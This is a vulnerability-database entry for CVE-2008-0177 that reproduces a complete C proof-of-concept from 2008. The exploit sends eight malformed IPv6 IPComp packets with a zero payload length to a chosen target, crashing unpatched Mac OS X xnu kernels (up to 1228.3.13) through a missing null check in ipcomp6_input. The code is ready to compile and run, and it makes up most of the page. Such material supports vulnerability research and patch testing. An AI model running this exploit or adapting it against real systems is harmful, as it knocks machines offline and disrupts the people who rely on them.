Lucene search

K
seebugRootSSV:65225
HistoryJul 01, 2014 - 12:00 a.m.

Apple Mac OS X xnu <= 1228.3.13 - IPv6-ipcomp Remote kernel DoS PoC

2014-07-0100:00:00
Root
www.seebug.org
21

0.47 Medium

EPSS

Percentile

97.5%

No description provided by source.


                                                /* xnu-ipv6-ipcomp.c
 *
 * Copyright (c) 2008 by &#60;[email protected]&#62;
 *
 * Apple MACOS X xnu &#60;= 1228.3.13 ipv6-ipcomp remote kernel DoS POC
 * by mu-b - Sun 24 Feb 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 * ipcomp6_input does not verify the success of the first call
 * to m_pulldown (m -&#62; md typo?).
 *
 *         md = m_pulldown(m, off, sizeof(*ipcomp), NULL);
 *         if (!m) {
 * -&#62;
 *         md = m_pulldown(m, off, sizeof(*ipcomp), NULL);
 *         if (!md) {
 *                                    (bsd/netinet6/ipcomp_input.c)
 *
 * curiosly the same bug exists in ipcomp4_input, but an explicit
 * check is made to ensure there is enough space for the struct ipcomp.
 *
 * Note: bug independently found by Shoichi Sakane of the KAME project.
 *       (FreeBSD 5.5, 4.9.0 & NetBSD 3.1 also vulnerable)
 *          (http://www.kb.cert.org/vuls/id/110947)
 *          (http://www.securityfocus.com/bid/27642)
 *          (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0177)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;

#include &#60;arpa/inet.h&#62;
#include &#60;ifaddrs.h&#62;
#include &#60;libnet.h&#62;
#include &#60;string.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;unistd.h&#62;

#define IPV6_INTERFACE    &#34;eth0&#34;
#define IPV6_SRC_OFFSET   8
#define IPV6_DST_OFFSET   24

#define HAMMER_NUM        8

static unsigned char pbuf[] = 
  &#34;\x60&#34;
  &#34;\x00\x00\x00&#34;
  &#34;\x00\x00&#34;      /* plen = 0           */
  &#34;\x6c&#34;          /* nxt_hdr = IPComp   */
  &#34;\x66&#34;
  &#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;
  &#34;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#34;;

static int
get_localip (char *if_name, unsigned int *ip6_addr)
{
  struct ifaddrs *ifa_head;
  int result;

  result = -1;
  if (getifaddrs (&ifa_head) == 0)
    {
      struct ifaddrs *ifa_cur;

      ifa_cur = ifa_head;
      for (ifa_cur = ifa_head; ifa_cur; ifa_cur = ifa_cur-&#62;ifa_next)
        {
          if (ifa_cur-&#62;ifa_name != NULL && ifa_cur-&#62;ifa_addr != NULL)
            {
              if (strcmp (if_name, (char *) ifa_cur-&#62;ifa_name) != 0 ||
                  ifa_cur-&#62;ifa_addr-&#62;sa_family != AF_INET6 ||
                  !(ifa_cur-&#62;ifa_flags & IFF_UP))
                continue;

              memcpy (ip6_addr,
                      &(((struct sockaddr_in6 *) ifa_cur-&#62;ifa_addr)-&#62;sin6_addr),
                      sizeof (int) * 4);
              result = 0;
              break;
            }
        }

      freeifaddrs (ifa_head);
    }

  return (result);
}

int
main (int argc, char **argv)
{
  char errbuf[LIBNET_ERRBUF_SIZE], ip6_buf[128];
  unsigned int i, ip6_addr[4];
  libnet_t *lnsock;

  printf (&#34;Apple MACOS X xnu &#60;= 1228.3.13 ipv6-ipcomp remote kernel DoS PoC\n&#34;
          &#34;by: &#60;[email protected]&#62;\n&#34;
          &#34;http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n&#34;);

  if (argc &#60; 2)
    {
      fprintf (stderr, &#34;Usage: %s &#60;dst ipv6&#62;\n&#34;, argv[0]);
      exit (EXIT_FAILURE);
    }

  if (get_localip (IPV6_INTERFACE,
                   (unsigned int *) &pbuf[IPV6_SRC_OFFSET]) &#60; 0)
    {
      fprintf (stderr, &#34;* get_localip() failed\n&#34;);
      exit (EXIT_FAILURE);
    }

  if (inet_pton (AF_INET6, argv[1], ip6_addr) &#60;= 0)
    {
      fprintf (stderr, &#34;* inet_pton() failed\n&#34;);
      exit (EXIT_FAILURE);
    }
  memcpy (&pbuf[IPV6_DST_OFFSET], ip6_addr, sizeof ip6_addr);

  lnsock = libnet_init (LIBNET_RAW6_ADV, NULL, errbuf);
  if (lnsock == NULL)
    {
      fprintf (stderr, &#34;* libnet_init() failed: %s\n&#34;, errbuf);
      exit (EXIT_FAILURE);
    }

  inet_ntop (AF_INET6, &pbuf[IPV6_SRC_OFFSET], ip6_buf, sizeof ip6_buf);
  printf (&#34;* local ipv6 %s...\n&#34;, ip6_buf);
  printf (&#34;* attacking %s...&#34;, argv[1]);
  for (i = 0; i &#60; HAMMER_NUM; i++)
    libnet_write_raw_ipv6 (lnsock, pbuf, sizeof pbuf - 1);
  printf (&#34;done\n&#34;);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-02-26]